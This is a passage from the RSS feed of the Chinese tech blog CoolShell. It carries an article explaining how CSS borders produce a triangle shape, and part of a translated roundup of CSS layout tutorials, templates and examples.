CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6950.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>73</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>神奇的CSS形状</title>\n\t\t<link>https://coolshell.cn/articles/6913.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6913.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sat, 24 Mar 2012 12:35:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6913</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢 Neo 投递本文 – 微博帐号：@_锟_ 】 在StackOverflow上有这么一个问题，有位同学在http://css-tricks.com/exa...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6913.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>【<span style=\"color: #cc0000;\">感谢 Neo 投递本文 – 微博帐号</span>：<a title=\"_锟_\" href=\"http://weibo.com/gandalfthegrey\" target=\"_blank\">@_锟_</a> 】</p>\n<p style=\"text-align: left;\">在StackOverflow上有这么一个问题，有位同学在<a href=\"http://css-tricks.com/examples/ShapesOfCSS/\">http://css-tricks.com/examples/ShapesOfCSS/ </a> 找到一些使用CSS做的形状，其中一位同学对下面的这个形状充满了疑问。</p>\n<p style=\"text-align: left;\">形状是：</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6914\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/a.png\" alt=\"\" width=\"103\" height=\"102\" /></p>\n<p style=\"text-align: left;\">代码是：</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\n#triangle-up {\nwidth: 0;\nheight: 0;\nborder-left: 50px solid transparent;\nborder-right: 50px solid transparent;\nborder-bottom: 100px solid red;\n}\n</pre>\n<p>这位同学就提问啦，为啥这么这么几句就能画出一个三角形呢？<br />\n于是呢，有高人出现，这个高人图文并茂的解释了这个三角的成因</p>\n<p><span id=\"more-6913\"></span><br />\n首先呢，我们需要了解HTML标记的Box Model（盒模型），这个例子中呢我们将content，padding都看作content。忽略掉margin。那么一个盒模型就是下图</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6915\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/b.png\" alt=\"\" width=\"340\" height=\"266\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/03/b.png 340w, https://coolshell.cn/wp-content/uploads/2012/03/b-300x234.png 300w\" sizes=\"(max-width: 340px) 100vw, 340px\" /></p>\n<p>中间是内容，然后是4条边。每一条边都有宽度。<br />\n根据上面CSS的定义，没有border-top（顶边）的情形下 ,我们的图形如下：</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6916\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/c.png\" alt=\"\" width=\"340\" height=\"266\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/03/c.png 340w, https://coolshell.cn/wp-content/uploads/2012/03/c-300x234.png 300w\" sizes=\"(max-width: 340px) 100vw, 340px\" /></p>\n<p>width设置为0后 ，内容没有了就成为下图：</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6917\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/d.png\" alt=\"\" width=\"340\" height=\"266\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/03/d.png 340w, https://coolshell.cn/wp-content/uploads/2012/03/d-300x234.png 300w\" sizes=\"(max-width: 340px) 100vw, 340px\" /></p>\n<p>height也设置为0，只有底边了。</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6918\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/e.png\" alt=\"\" width=\"200\" height=\"122\" /></p>\n<p>然后两条边都是设置为透明，最后我们就得到了</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6919\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/f.png\" alt=\"\" width=\"200\" height=\"122\" /></p>\n<p>这个属于奇技淫巧，但是也说明CSS的强大，没有做不到只有想不到。另外<a href=\"http://css-tricks.com/examples/ShapesOfCSS/\">http://css-tricks.com/examples/ShapesOfCSS/ </a>还能找到很多其他的形状，感兴趣的同学可以自己去看。还有酷壳以前的这篇文章《<a title=\"CSS图形\" href=\"https://coolshell.cn/articles/5164.html\" target=\"_blank\">CSS实现的各种形状</a>》<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"CSS图形\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5164.html\" class=\"wp_rp_title\">CSS图形</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6913.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>21</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>CSS 布局:40个教程、技巧、例子和最佳实践</title>\n\t\t<link>https://coolshell.cn/articles/6840.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6840.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Mon, 19 Mar 2012 00:25:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6840</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢 Neo 投递本文 – 微博帐号：_锟_ 】 前言： 布局是WEB开发一个重要的课题，进入XHTML/CSS后，使用TABLE布局的方式逐渐淡出，CSS布...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6840.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>【<span style=\"color: #cc0000;\">感谢 Neo 投递本文 – 微博帐号</span>：<a title=\"_锟_\" href=\"http://weibo.com/gandalfthegrey\" target=\"_blank\">_锟_</a> 】</p>\n<p><strong>前言：</strong> 布局是WEB开发一个重要的课题，进入XHTML/CSS后，使用TABLE布局的方式逐渐淡出，CSS布局以众多优点成为主流，本文将介绍40个基于CSS的web布局的资源和教程。文章的出处在<a href=\"http://www.noupe.com/css/css-layouts-40-tutorials-tips-demos-and-best-practices.html\" target=\"_blank\">http://www.noupe.com/css/css-layouts-40-tutorials-tips-demos-and-best-practices.html</a>。文中的不少的例子在一本经典的CSS书籍<a href=\"http://shop.oreilly.com/product/9780596802455.do\">《CCS: The Missing Manual, 2nd Edition》</a>中都可以找到，据我所知，第二版在中国没有翻译出版。你可以从<a href=\"http://www.itpub.net/forum.php?mod=viewthread&amp;tid=1210179&amp;highlight=CSS%2Bthe%2Bmissing%2Bmanual\">这里</a>下载英文版（不过需要注册个用户名）</p>\n<p><strong>正文</strong><br />\n<strong>基于CSS的布局</strong>能提供更灵活布局方式和更强的用户视觉体验。一些重要技巧和关键点可以帮助初学者理解CSS布局的基础和本质。这也是本文成文的原因 ——找到那些完美的布局，<strong>完全灵活的，等高栏</strong>和工作完美的布局。<br />\n因此下面这个列表就是我们整理了网络上关于基于CSS布局的一些技巧，教程和最佳实践的列表。<br />\n当然你也可能对下面这些和CSS相关的主题有兴趣：</p>\n<p><a href=\"http://www.noupe.com/css/9-timeless-3-column-layout-techniques.html&gt;9 Timeless 3 Column Layout Techniques&lt;/a&gt;&lt;/ui&gt;&lt;br /&gt; &lt;ui&gt;&lt;a href=\">The 7 CSS Hacks that we should use</a><br />\n<a href=\"http://www.noupe.com/css/using-css-to-do-anything-50-creative-examples-and-tutorials.html\">Using CSS to Do Anything: 50+ Creative Examples and Tutorials</a><br />\n<a href=\"http://www.noupe.com/css/using-css-to-fix-anything-20-common-bugs-and-fixes.html\">Using CSS to Fix Anything: 20+ Common Bugs and Fixes</a></p>\n<p><span id=\"more-6840\"></span></p>\n<h4><strong><span style=\"color: #008000;\">CSS 布局教程</span></strong></h4>\n<p>1-<a href=\"http://woork.blogspot.com/2008/01/three-column-fixed-layout-structure.html\">使用CSS完成三栏固定布局结构</a>&#8211; 这篇文章解释了如何实现一个基于的HTML/CSS来设计一个简单的带有基本要素（顶部的logo条，导航条，文本区，定义分类的中部栏，右边侧栏插入google的120X600的广告区）的固定三栏页面布局。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6843 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts.gif\" alt=\"\" width=\"450\" height=\"297\" /></p>\n<p>2-<a href=\"http://woork.blogspot.com/2007/10/design-page-layout-using-css.html\">使用CSS设计页面布局</a>&#8211; 如何使用CSS文件来为你的站点设计页面布局。<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6844 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts2.gif\" alt=\"\" width=\"450\" height=\"200\" /></p>\n<p>3-<a href=\"http://css-tricks.com/how-to-create-a-horizontally-scrolling-site/\">如何创建一个水平布局的站点</a>&#8211; 创建不同于常规的水平布局的站点技术（译者注：水平布局，客户体验也就仁者见仁了）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6845\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts3.gif\" alt=\"\" width=\"450\" height=\"190\" /><br />\n例子<a href=\"http://css-tricks.com/examples/HorzScrolling\">查看这里</a> |<a href=\"http://css-tricks.com/examples/HorzScrolling.zip\">下载</a></p>\n<p>4-<a href=\"http://css-tricks.com/super-simple-two-column-layout/\">超级简单的两栏布局</a>&#8211; 创建不同于常规的水平布局的站点技术（译者注：这里是原作者笔误吧和上面的内容一样）.</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6849\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts4.gif\" alt=\"\" width=\"450\" height=\"100\" /></p>\n<p>例子<a href=\"http://css-tricks.com/examples/SuperSimpleTwoColumn\">查看这里</a> <a href=\"http://css-tricks.com/examples/SuperSimpleTwoColumn.zip\">下载</a></p>\n<p>5-<a href=\"http://www.456bereastreet.com/lab/developing_with_web_standards/csslayout/2-col/\">简单两栏CSS布局</a>&#8211; 这是一个创建简单两栏布局的教程。这种布局包含了一个标题区，一个水平导航条，主内容区，边侧栏，和页脚区。并且这个布局是水平居中的。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts6.gif\" alt=\"\" width=\"450\" height=\"150\" /></p>\n<p>例子<a href=\"http://www.456bereastreet.com/lab/developing_with_web_standards/csslayout/2-col/finished.html\">查看这里</a></p>\n<p>6-<a href=\"http://dnevnikeklektika.com/en/the-holy-grail-layout-3-columns-and-a-lot-less-problems\">圣杯布局(The holy grail layout)</a> – 3栏布局会有一些问题 ，这篇文章讨论了一种三栏布局——两栏固定宽度边侧栏加上一栏变宽中栏布局，保证了页面的良好结构和清晰。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts7.gif\" alt=\"\" width=\"450\" height=\"362\" /></p>\n<p>例子<a href=\"http://dnevnikeklektika.com/css/3ColLayout/working.html\">查看这里</a></p>\n<p>7-<a href=\"http://www.simplebits.com/notebook/2004/09/08/centering.html\">CSS居中101</a>&#8211; 如何使用CSS完成居中一个固定宽度的布局</p>\n<p>使用CSS，通过下面两条规则完成对id为container的DIV所包含的内容居中</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;body&gt;\n &lt;div id=&quot;container&quot;&gt; ...entire layout goes here...\n&lt;/div&gt;\n&lt;/body&gt;\n</pre>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\nbody {\n    text-align: center;\n}\n#container {\n    margin: 0 auto;\n    width: xxxpx;\n    text-align: left;\n}\n</pre>\n<p>8-<a href=\"http://www.subcide.com/tutorials/csslayout/index.aspx\">从头创建CSS布局</a>&#8211; 这个指南通过创建一个全功能的 CSS布局来一步步教你入门CSS布局。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts9.gif\" alt=\"\" width=\"450\" height=\"255\" /></p>\n<p>9-<a href=\"http://www.alistapart.com/articles/multicolumnlayouts/\">非主流！多栏布局</a>&#8211; 多栏布局，等高栏（每一列的高度都相等），固定或变宽中央区，简洁标记，CSS 。(译者注：原文作者的图配的和上图一样)</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts9.gif\" alt=\"\" width=\"450\" height=\"255\" /></p>\n<p>例子<a href=\"http://www.alistapart.com/d/multicolumnlayouts/3ColLiquid.html\">查看这里</a></p>\n<p>10- <a href=\"http://www.positioniseverything.net/articles/onetruelayout/\">创建天下无双的CSS布局</a>&#8211; 高灵活性布局,等高栏，跨栏垂直摆放元素。本文告诉你通过何等手段完成这些目标，并使用它们创建天下无双的CSS布局（译者注:原文是One True Layout ，不知道怎么翻译，就天下无双吧。）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts22.gif\" alt=\"\" width=\"450\" height=\"180\" /></p>\n<p><a href=\"http://www.positioniseverything.net/articles/onetruelayout/examples\">查看这里</a></p>\n<p>11-<a href=\"http://nettuts.com/site-builds/from-psd-to-html-building-a-set-of-website-designs-step-by-step/\">从PSD到HTML，手把手完成WEB设计</a>-从Photoshop到完整HTML，全过程手把手教会你。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts34.jpg\" alt=\"\" width=\"450\" height=\"341\" /></p>\n<p>例子<a href=\"http://nettuts.s3.amazonaws.com/017_Creatif/Site/index.html\">查看这里</a> | <a href=\"http://nettuts.s3.amazonaws.com/017_Creatif/Site_Download.zip\">下载</a></p>\n<p>12- <a href=\"http://tutorialblog.org/5-tips-for-coding-xhtmlcss-layouts/\">5个XHTML/CSS技巧</a> &#8211; 5个CSS技巧帮助你完成从基于表格的布局到基于CSS的布局。</p>\n<p>13-<a href=\"http://veerle.duoh.com/index.php/blog/comments/designing_a_css_based_template_part_i/\">设计一个基于CSS的模板</a> &#8211; 这是一个教你创建基于CSS的模板页的基础教程。这个教程由下面几个部分构成：第一部分覆盖了在Photoshop CS*中的创建导航条按钮，第二部分：创建背景接下来的清单是标题和页面布局，最后的部分在XHTML和CSS中实现。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts35.jpg\" alt=\"\" width=\"450\" height=\"250\" /></p>\n<p><a href=\"http://homepage.mac.com/vpieters/css_step2/step2_whooshes.mov.zip\">下载</a></p>\n<p>14-<a href=\"http://www.sitepoint.com/article/breaking-out-of-the-box\">使用CSS布局跳出常规布局</a>&#8211; 如果你理解了基于表格布局的工作方式，你能通过合并或拆分表格创建你随心所欲的布局。就这个目标（同时支持灵活性和可维护性），CSS能够提供比基于表格更多地东西。Jina Bolton的教程解释如何达到这个目标。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts36.gif\" alt=\"\" width=\"450\" height=\"250\" /></p>\n<p>15-<a href=\"http://www.webreference.com/authoring/style/sheets/layout/advanced/\">高级CSS教程:手把手</a>&#8211; 这个教程的终极目标创建一个CSS布局，这个CSS布局精确地重组了原有使用table的WebReference.com的布局。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts29.gif\" alt=\"\" width=\"450\" height=\"263\" /></p>\n<p>16-<a href=\"http://snook.ca/archives/html_and_css/six_keys_to_understanding_css_layouts/\">了解CSS布局的6个关键要素</a>-本文讲述了6件基于CSS布局需要了解的事情：盒模型(Box Model)，浮动栏(Floated Columns) （译者注：float是WEB布局最重要的一个属性了）。使用Em来设置尺寸（Sizing Using Ems），图片替换（Image Replacement）,浮动导航和Sprintes。</p>\n<p>17-<a href=\"http://wisdump.com/design/are-you-making-these-common-blog-layout-mistakes/\">你会犯这些常见的博客布局错误吗？</a>-讨论4个博客布局中常见而且易修复的错误。</p>\n<p>18-<a href=\"http://www.htmldog.com/guides/cssadvanced/layout/\">页面布局</a>-CSS页面布局中的浮动元素和定位元素实践指导。</p>\n<p>你可以查看这些例子：<a href=\"http://www.htmldog.com/examples/positioning4.html\">Absolute Position within a relative box</a><a href=\"http://www.htmldog.com/examples/float2.html\"> two floated boxes</a>和<a href=\"http://www.htmldog.com/examples/pagelayout3.html\"> using a border to provide the background for a column</a></p>\n<p>19-<a href=\"http://leftjustified.net/site-in-an-hour/\">Site in an Hour</a>&#8211; 使用复杂CCS布局完成简单的工作。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts40.jpg\" alt=\"\" width=\"450\" height=\"250\" /></p>\n<h4><strong><span style=\"color: #008000;\">关于布局的最佳资源</span></strong></h4>\n<p>下面的大多数这些资源不需要许可就能直接使用，然而，其中的一些需要先发邮件确认一下是否可以使用这些资源。因此，在使用之前最好先检查资源的版权信息。</p>\n<p>20-<a href=\"http://www.maxdesign.com.au/presentation/page_layouts/\">简单CSS页面布局</a>&#8211; 这里有一套2栏和3栏的CSS布局。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts10.jpg\" alt=\"\" width=\"450\" height=\"255\" /></p>\n<p>你可以通过这里查看这些样例<a href=\"http://www.maxdesign.com.au/presentation/process/example23.htm\"> Liquid three column layout</a>,<a href=\"http://www.maxdesign.com.au/presentation/page_layouts/single04.htm\"> Left aligned, set width</a> and <a href=\"http://www.maxdesign.com.au/presentation/liquid/example13.htm\">Liquid insanity</a>.</p>\n<p>21-<a href=\"http://matthewjamestaylor.com/blog/perfect-3-column.htm\">完美的三栏变宽布局（百分比定宽度）The Perfect 3 Column Liquid Layout (Percentage widths)</a>&#8211; 没有CSS hack（译者注：不知道怎么翻译，点击<a href=\"http://baike.baidu.com/view/1119452.htm\">这里</a>查看解释）. 良好地收索引擎优化.无图. 无Javascript. 跨浏览器 和IPHONE设备兼容</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts11.gif\" alt=\"\" width=\"450\" height=\"370\" /></p>\n<p>你可以通过这里查看样例 <a href=\"http://www.maxdesign.com.au/presentation/process/example23.htm\">Liquid three column layout</a>, <a href=\"http://www.maxdesign.com.au/presentation/page_layouts/single04.htm\">Left aligned, set width</a> 和 <a href=\"http://www.maxdesign.com.au/presentation/liquid/example13.htm\">Liquid insanity</a>. (译者注：这里的链接和上面重复了，哎，原文的错误吧)</p>\n<p>22-<a href=\"http://www.intensivstation.ch/en/templates/\">CSS模板和样例</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts21.gif\" alt=\"\" width=\"450\" height=\"380\" /></p>\n<p>你可以通过这里查看这些样例<a href=\"http://www.intensivstation.ch/files/en_templates/temp06.html\"> 3 columns fixed</a> <a href=\"http://www.intensivstation.ch/files/en_templates/temp06.html\">centered</a>, <a href=\"http://www.intensivstation.ch/files/en_templates/temp11.html\">fixed Box totally</a><a href=\"http://www.intensivstation.ch/files/en_templates/temp11.html\">centered</a> and <a href=\"http://www.intensivstation.ch/files/en_templates/temp03.html\">3 columns, all</a><a href=\"http://www.intensivstation.ch/files/en_templates/temp03.html\">dynamic</a></p>\n<p>23-<a href=\"http://layouts.ironmyers.com/\">IM 布局</a>&#8211; IM 布局是一种简单地的CSS布局系统，IM布局提供了全A级的浏览器的支持。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts24.gif\" alt=\"\" width=\"450\" height=\"250\" /></p>\n<p>你可以通过这里查看这些样例:<a href=\"http://www.ironmyers.com/examples/three_column_layout.html\"> The Holy Grail 3 Column Layout</a>, <a href=\"http://www.ironmyers.com/examples/classic_blog.html\">The Classic Blog Layout </a>和<a href=\"http://www.ironmyers.com/examples/multi_column.html\"> The Multi Column Layout.</a></p>\n<p>24-<a href=\"http://www.cssplay.co.uk/layouts/index.html\">CSSplay </a>&#8211; CSS布局列表</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts25.gif\" alt=\"\" width=\"450\" height=\"87\" /></p>\n<p>你可以通过这里查看这些样例:<a href=\"http://www.cssplay.co.uk/layouts/fixit.html\">Cross browser FIXED</a>, <a href=\"http://www.cssplay.co.uk/layouts/threecol.html\">Three columns</a> and <a href=\"http://www.cssplay.co.uk/layouts/frame.html\">CSS Frame – The Holy Grill</a>.</p>\n<p>25-<a href=\"http://blog.html.it/layoutgala/\">Layoutgala </a>&#8211; 基于同样的的标记l得到最大数量的不同的布局方式。没有CCS hack，没有CSS workaround ，良好的浏览器兼容性。40种不同布局。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts26.gif\" alt=\"\" width=\"450\" height=\"180\" /></p>\n<p>你可以通过这里查看这些样例:<a href=\"http://blog.html.it/layoutgala/LayoutGala07.html\">Three fixed Columns</a>, <a href=\"http://blog.html.it/layoutgala/LayoutGala04.html\">Three percentage columns</a> and <a href=\"http://blog.html.it/layoutgala/LayoutGala19.html\">Liquid, three columns, hybrid widths </a>(吐槽：没有等高，不好看).</p>\n<p>26-<a href=\"http://www.glish.com/css/\">Glish</a>&#8211; 许多有用的跨浏览器布局技术</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts27.gif\" alt=\"\" width=\"450\" height=\"125\" /></p>\n<p>你可以通过这里查看这些样例: <a href=\"http://www.glish.com/css/7.asp\">3 columns, the holy grail</a>,<a href=\"http://www.glish.com/css/9.asp\"> 2 columns, ALA style</a> and <a href=\"http://www.glish.com/css/2.asp\">3 columns, all fluid </a></p>\n<p>27-<a href=\"http://www.thenoodleincident.com/tutorials/box_lesson/boxes.html\">Thenoodleincident</a>&#8211; CSS 从简单的单盒到3盒并增加一个顶部条，所有都是变宽。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts28.gif\" alt=\"\" width=\"450\" height=\"140\" /></p>\n<p>28-<a href=\"http://www.bluerobot.com/web/layouts/\">The Layout Reservoir</a>&#8211; 很多有用的CSS布局技术</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts30.gif\" alt=\"\" width=\"450\" height=\"225\" /></p>\n<p>你可以通过这里查看这些样例:<a href=\"http://bluerobot.com/web/layouts/layout1.html\"> 2 columns – left menu</a>,<a href=\"http://bluerobot.com/web/layouts/layout3.html\"> 3 columns – flanking menus</a>和<a href=\"http://bluerobot.com/web/css/center1.html\"> Auto-width Margins </a>.</p>\n<p>29-<a href=\"http://www.strictlycss.com/articles/article/40/the-only-css-layout-you-need\">The only CSS layout you need</a>&#8211; 在这篇文章中将会为你展现10个基于同一的HTML的不同的的布局。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts32.gif\" alt=\"\" width=\"450\" height=\"225\" /></p>\n<p>你可以通过这里查看这些样例: <a href=\"http://www.strictlycss.com/examples/three-column-layout-1.asp\"> Three column CSS layout – left and right menu</a>, <a href=\"http://www.strictlycss.com/examples/three-column-layout-2.asp\">Two column CSS layout – top and left menu</a> 和 <a href=\"http://www.strictlycss.com/examples/three-column-layout-7.asp\">Three column CSS fluid layout: 100% width</a></p>\n<p>30-<a href=\"http://www.yaml.de/\">另一个多栏布局</a>-是一个创建当代流行的变宽的浮动布局的XHTML/CSS框架。这是一个多功能实用的布局。</p>\n<p>点击<a href=\"http://www.yaml.de/fileadmin/download/release_306/yaml_306_080609.zip\">这里</a>下载.</p>\n<p>31-<a href=\"http://www.cssliquid.com/\">Liquid Designs</a>&#8211; 使用XHTML和CSS的变宽设计库。</p>\n<h4><strong><span style=\"color: #008000;\">最佳实践</span></strong></h4>\n<p>如果你需要寻找一些布局灵感，你可以从下面的网站链接中找到。这些站点演示了CSS布局如何应用于不同类型的网站。查看这些网站是如何分成2栏或3栏，或混合宽栏和窄栏布局。</p>\n<p>32-<a href=\"http://helldesign.net/\">Helldesign</a></p>\n<p><img 